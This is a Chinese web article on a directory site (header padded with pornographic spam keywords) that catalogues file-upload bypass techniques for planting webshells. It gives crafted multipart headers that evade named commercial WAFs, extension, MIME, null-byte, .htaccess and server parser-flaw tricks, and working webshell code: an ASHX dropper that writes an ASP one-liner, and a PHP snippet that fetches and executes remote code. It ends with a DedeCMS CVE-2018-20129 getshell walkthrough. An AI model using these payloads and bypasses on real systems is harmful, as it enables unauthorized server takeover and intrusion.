日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網為廣大站長提供免費收錄網站服務,提交前請做好本站友鏈:【 網站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(50元/站),

點擊這里在線咨詢客服
新站提交
  • 網站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會員:747

文件上傳漏洞可以說是日常滲透測試用得最多的一個漏洞,因為用它獲得服務器權限最快最直接。

但是想真正把這個漏洞利用好卻不那么容易,其中有很多技巧,也有很多需要掌握的知識。

俗話說,知己知彼方能百戰不殆,因此想要研究怎么防護漏洞,就要了解怎么去利用。

文件上傳校驗姿勢常見有這些

客戶端JAVAscript校驗(一般只校驗后綴名)服務端校驗文件頭content-type字段校驗(image/gif)文件內容頭校驗(GIF89a)后綴名黑名單校驗后綴名白名單校驗自定義正則校驗WAF設備校驗(根據不同的WAF產品而定)

以下我們分類總結一下繞過手段這里我們分類總結一下繞過手段

WAF繞過

安全狗繞過

1.繞過思路:對文件的內容,數據,數據包進行處理。

關鍵點在這里Content-Disposition: form-data; name="file"; filename="ian.php"將form-data;修改為~form-data;

2.通過替換大小寫來進行繞過

Content-Disposition: form-data; name="file"; filename="yjh.php"Content-Type: Application/octet-stream將Content-Disposition修改為content-Disposition將 form-data 修改為Form-data將Content-Type修改為content-Type

3.通過刪減空格來進行繞過

Content-Disposition: form-data; name="file"; filename="yjh.php"Content-Type: application/octet-stream將Content-Disposition: form-data 冒號后面增加或減少一個空格將form-data; name="file";分號后面增加或減少一個空格將Content-Type: application/octet-stream 冒號后面增加一個空格

4.通過字符串拼接繞過

看Content-Disposition: form-data; name="file"; filename="yjh3.php"將 form-data 修改為 f+orm-data將from-data 修改為 form-d+ata

5.雙文件上傳繞過

<formaction="https://www.xxx.com/xxx.asp(php)"method="post"name="form1"enctype="multipart/form‐data"><inputname="FileName1"type="FILE"class="tx1"size="40"><inputname="FileName2"type="FILE"class="tx1"size="40"><inputtype="submit"name="Submit"value="上傳"></form>

6.HTTP header 屬性值繞過

Content-Disposition: form-data; name="file"; filename="yjh.php"我們通過替換form-data 為*來繞過Content-Disposition:*; name="file"; filename="yjh.php"

7.HTTP header 屬性名稱繞過

源代碼:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png繞過內容如下:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.pngC.php"刪除掉ontent-Type: image/jpeg只留下c,將.php加c后面即可,但是要注意額,雙引號要跟著c.php".

8.等效替換繞過

原內容:Content-Type: multipart/form-data; boundary=---------------------------471463142114修改后:Content-Type: multipart/form-data; boundary =---------------------------471463142114boundary后面加入空格。

9.修改編碼繞過

使用UTF-16、Unicode、雙URL編碼等等

WTS-WAF 繞過上傳


原內容:Content-Disposition: form-data; name="up_picture"; filename="xss.php"添加回車Content-Disposition: form-data; name="up_picture"; filename="xss.php"

百度云上傳繞過


百度云繞過就簡單的很多很多,在對文件名大小寫上面沒有檢測php是過了的,Php就能過,或者PHP,一句話自己合成圖片馬用Xise連接即可。Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"

阿里云上傳繞過


源代碼:Content-Disposition: form-data; name="img_crop_file"; filename="1.jpg .Php"Content-Type: image/jpeg修改如下:Content-Disposition: form-data; name="img_crop_file"; filename="1.php"沒錯,將=號這里回車刪除掉Content-Type: image/jpeg即可繞過。

360主機上傳繞過


源代碼:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png繞過內容如下:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.pngContent-Disposition 修改為 Content-空格Disposition

MIME類型繞過


上傳木馬時,提示格式錯誤。直接抓包修改Content-Type為正確的格式嘗試繞過

文件內容檢測繞過


抓包,在正常圖片末尾添加一句話木馬

多次上傳Win特性繞過


多次上傳同一個文件,windows會自動更新補全TEST (1).php。有時會觸發條件競爭,導致繞過。

條件競爭繞過


通過BURP不斷發包,導致不斷寫入Webshell,再寫入速度頻率上超過安全軟件查殺頻率,導致繞過。

CONTENT-LENGTH繞過


針對這種類型的驗證,我們可以通過上傳一些非常短的惡意代碼來繞過。上傳文件的大小取決于,Web服務器上的最大長度限制。我們可以使用不同大小的文件來fuzzing上傳程序,從而計算出它的限制范圍。

文件內容檢測繞過


針對文件內容檢測的繞過,一般有兩種方式,1.制作圖片馬2.文件幻術頭繞過

垃圾數據填充繞過


修改HTTP請求,再之中加入大量垃圾數據。

黑名單后綴繞過


文件擴展名繞過

Php除了可以解析php后綴還可以解析php2.php3,php4 后綴

ashx上傳繞過

cer,asa,cdx等等無法使用時候。解析后就會生成一個test.asp的馬,你就可以連接這個test.asp 密碼為:put<%@WebHandlerLanguage="C#"Class="Handler"%>usingSystem;usingSystem.Web;usingSystem.IO;publicclassHandler:IHttpHandler{publicvoidProcessRequest(HttpContext context){ context.Response.ContentType="text/plain";//這里會在目錄下生成一個test.asp的文件StreamWriter file1=File.CreateText(context.Server.MapPath("test.asp"));//這里是寫入一句話木馬 密碼是:ptu file1.Write("<%response.clear:execute request("put"):response.End%>"); file1.Flush(); file1.Close();}publicboolIsReusable{get{returnfalse;}}}

特殊文件名繞過

比如發送的 http包里把文件名改成 test.asp.或 test.asp_(下劃線為空格),這種命名方式在windows系統里是不被允許的,所以需要在 burp之類里進行修改,然后繞過驗證后,會被windows系統自動去掉后面的點和空格,但要注意Unix/linux系統沒有這個特性。

Windows流特性繞過

php在windows的時候如果文件名+"::$DATA"會把::$DATA之后的數據當成文件流處理,不會檢測后綴名.且保持"::$DATA"之前的文件名。

白名單后綴繞過


00截斷繞過上傳

php .jpg 空格二進制20改為00IIS 6.0目錄路徑檢測解析繞過上傳路徑改為XXX/1.asp/

htaccess解析漏洞

上傳的jpg文件都會以php格式解析.htaccess內容:AddType application/x-httpd-php .jpg

突破MIME限制上傳

方法:找一個正常的可上傳的查看其的MIME類型,然后將馬子的MIME改成合法的MIME即可。

Apache解析漏洞

1.一個文件名為test.x1.x2.x3的文件,apache會從x3的位置開始嘗試解析,如果x3不屬于apache能夠解析的擴展名,那么apache會嘗試去解析x2,直到能夠解析到能夠解析的為止,否則就會報錯。2.CVE-2017-15715,這個漏洞利用方式就是上傳一個文件名最后帶有換行符(只能是\x0A,如上傳a.php,然后在burp中修改文件名為a.php\x0A),以此來繞過一些黑名單過濾。

IIS解析漏洞

IIS6.0在解析asp格式的時候有兩個解析漏洞,一個是如果目錄名包含".asp"字符串,那么這個目錄下所有的文件都會按照asp去解析,另一個是只要文件名中含有".asp;"會優先按asp來解析IIS7.0/7.5是對php解析時有一個類似于Nginx的解析漏洞,對任意文件名只要在URL后面追加上字符串"/任意文件名.php"就會按照php的方式去解析;

Nginx解析漏洞

解析:(任意文件名)/(任意文件名).php |(任意文件名)%00.php描述:目前Nginx主要有這兩種漏洞,一個是對任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加為test.jpg/x.php進行解析攻擊。還有一種是對低版本的Nginx可以在任意文件名后面添加%00.php進行解析攻擊。

解析漏洞

Content-Disposition: form-data; name="file"; filename=php.php;.jpg

前端限制繞過


使用BURP抓包修改后重放或者使用瀏覽器中元素審查,修改允許或禁止上傳文件類型。

下載繞過


遠程下載文件繞過

<?php$str = file_get_contents('http://127.0.0.1/ian.txt');$str($_post['ian']);?>

文件包含繞過
上傳圖片木馬

$x=$_GET['x'];include($x);訪問:http://www.xxxx.com/news.php?x=xxxxxx.jpg

下面我們來看個案例:CVE-2018-20129-——DedeCMS V5.7 SP2前臺文件上傳漏洞

Desdev DedeCMS 5.7 SP2版本中的uploads/include/dialog/select_images_post.php文件存在文件上傳漏洞,遠程攻擊者可利用該漏洞上傳并執行任意PHP代碼。

最新的DEDECMS系統存在前臺文件上傳漏洞,需要管理員打開會員中心,訪問鏈接:http://127.0.0.1/dedecms/uploads/member/content_list.php?channelid=1或者進入會員中心后進入內容中心模塊,然后發布一個文章。

點擊下面的編輯器的上傳圖片按鈕。

文件上傳繞過

 

點擊上傳,選擇準備好的一句話圖片木馬文件

文件上傳繞過

 

再用burp工具抓包,將1.jpg改為1.jpg.p*hp

文件上傳繞過

 

然后重新請求發送數據包,成功的getshell了,并返回了木馬地址。

文件上傳繞過

 

代碼部分


漏洞在于用戶發布文章上傳圖片處。

處理文件在/include/dialog/select_images_post.php中的36行,

過濾了一些看起來不正常(異常)的字符。

文件上傳繞過

 

而上傳文件存在全局過濾/include/uploadsafe.inc.php可以看到名字中不得有上述字符,且限制了content-type。

按道理說直接限制不得存在的字符,似乎沒有問題了,可在發布文章文件上傳的處理文件select_images_post.php中存在如下代碼:

文件上傳繞過

 

再次過濾了圖片名,并且再次判斷如上三種文件類型是否存在其中。

這么一次過濾,直接粗暴的將一些特殊字符替換為空

那么我們就可以通過特殊字符繞過上面的全局文件名不能包含php字符的限制

比如文件名為1.jpg.php,從而可以判斷,不僅僅只有可以繞過,% ?<> :都是可以繞過的

文件上傳繞過

 


文件上傳繞過

分享到:
標簽:文件上傳
用戶無頭像

網友整理

注冊時間:

網站:5 個   小程序:0 個  文章:12 篇

  • 51998

    網站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會員

趕快注冊賬號,推廣您的網站吧!
最新入駐小程序

數獨大挑戰2018-06-03

數獨一種數學游戲,玩家需要根據9

答題星2018-06-03

您可以通過答題星輕松地創建試卷

全階人生考試2018-06-03

各種考試題,題庫,初中,高中,大學四六

運動步數有氧達人2018-06-03

記錄運動步數,積累氧氣值。還可偷

每日養生app2018-06-03

每日養生,天天健康

體育訓練成績評定2018-06-03

通用課目體育訓練成績評定